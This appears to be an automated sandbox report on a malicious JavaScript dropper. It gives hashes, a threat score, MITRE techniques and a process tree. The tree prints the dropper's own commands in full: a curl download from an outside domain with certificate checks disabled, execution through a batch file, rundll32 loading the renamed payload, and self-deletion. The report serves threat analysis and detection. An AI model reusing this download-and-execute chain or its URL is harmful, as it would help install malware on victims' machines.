fd685d5811578ac189ffc6802615e11c86424765cc231a024e97c03c99f37947

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
01/09/2023, 16:49

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General

Target

fd685d5811578ac189ffc6802615e11c86424765cc231a024e97c03c99f37947_JC.js
Size

34KB
MD5

d38a35de750d0d8628cb073a9a0ad8b2
SHA1

b98af1c8fe2a75060fa25a7eee20c32518271822
SHA256

fd685d5811578ac189ffc6802615e11c86424765cc231a024e97c03c99f37947
SHA512

b7348f060b646efd8e7501ce7a411346b7de95a715b7a1d2294df32c2b4ed425262ef0102af2d72c5f3d0f5f8db2f0feede4f5885a2fa6d48f9c2c9b40cde247
SSDEEP

768:RwRahuDvIhINs1sCT7A797k7a7a7Q7u7F7r7e7I7B7C7D7N7y7o727B7of7y7M76:RwRahBhIN3CTMJ4W+cC5fS0VWnJWk6l5

Score

7^/10

Malware Config

Signatures

Deletes itself 1 IoCs

pid	Process
2696	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2440 wrote to memory of 2696	2440	wscript.exe	28
PID 2440 wrote to memory of 2696	2440	wscript.exe	28
PID 2440 wrote to memory of 2696	2440	wscript.exe	28
PID 2440 wrote to memory of 2112	2440	wscript.exe	30
PID 2440 wrote to memory of 2112	2440	wscript.exe	30
PID 2440 wrote to memory of 2112	2440	wscript.exe	30
PID 2440 wrote to memory of 2720	2440	wscript.exe	32
PID 2440 wrote to memory of 2720	2440	wscript.exe	32
PID 2440 wrote to memory of 2720	2440	wscript.exe	32
PID 2440 wrote to memory of 2660	2440	wscript.exe	34
PID 2440 wrote to memory of 2660	2440	wscript.exe	34
PID 2440 wrote to memory of 2660	2440	wscript.exe	34
PID 2440 wrote to memory of 2628	2440	wscript.exe	36
PID 2440 wrote to memory of 2628	2440	wscript.exe	36
PID 2440 wrote to memory of 2628	2440	wscript.exe	36
PID 2440 wrote to memory of 2948	2440	wscript.exe	37
PID 2440 wrote to memory of 2948	2440	wscript.exe	37
PID 2440 wrote to memory of 2948	2440	wscript.exe	37

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\fd685d5811578ac189ffc6802615e11c86424765cc231a024e97c03c99f37947_JC.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\fd685d5811578ac189ffc6802615e11c86424765cc231a024e97c03c99f37947_JC.js"
  2⤵
  - Deletes itself
  PID:2696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo curl https://avestainfratech.com/out/t.php --output "C:\Users\Admin\AppData\Local\Temp\dignissimos.neaque.x" --ssl-no-revoke --insecure --location > "C:\Users\Admin\AppData\Local\Temp\dignissimos.n.bat"
  2⤵
  PID:2112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\dignissimos.n.bat"
  2⤵
  PID:2720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ren "C:\Users\Admin\AppData\Local\Temp\dignissimos.neaque.x" "dignissimos.n"
  2⤵
  PID:2660
- C:\Windows\System32\rundll32.exe
  "C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\dignissimos.n", scab /k arabika752
  2⤵
  PID:2628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\dignissimos.n.bat"
  2⤵
  PID:2948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\dignissimos.n.bat

Filesize
149B

MD5
c35fe7fbb1aec6c72da5d0fdeb26c222

SHA1
f0ef85f0d7fed0b54dc9f7fadf777089b1f404f8

SHA256
737835adf64ffb2bfd6dc3d7ab2d23d2c82f292ec736997f5fa5f89eb8c13983

SHA512
727213eeebfeb2222113a683e681642bbb7d3df42e32ae0e4457689b7bb8c6630122b1b6c1d220073b1ac44c749cf03d3074ec034237cec2f0680126eef875ff

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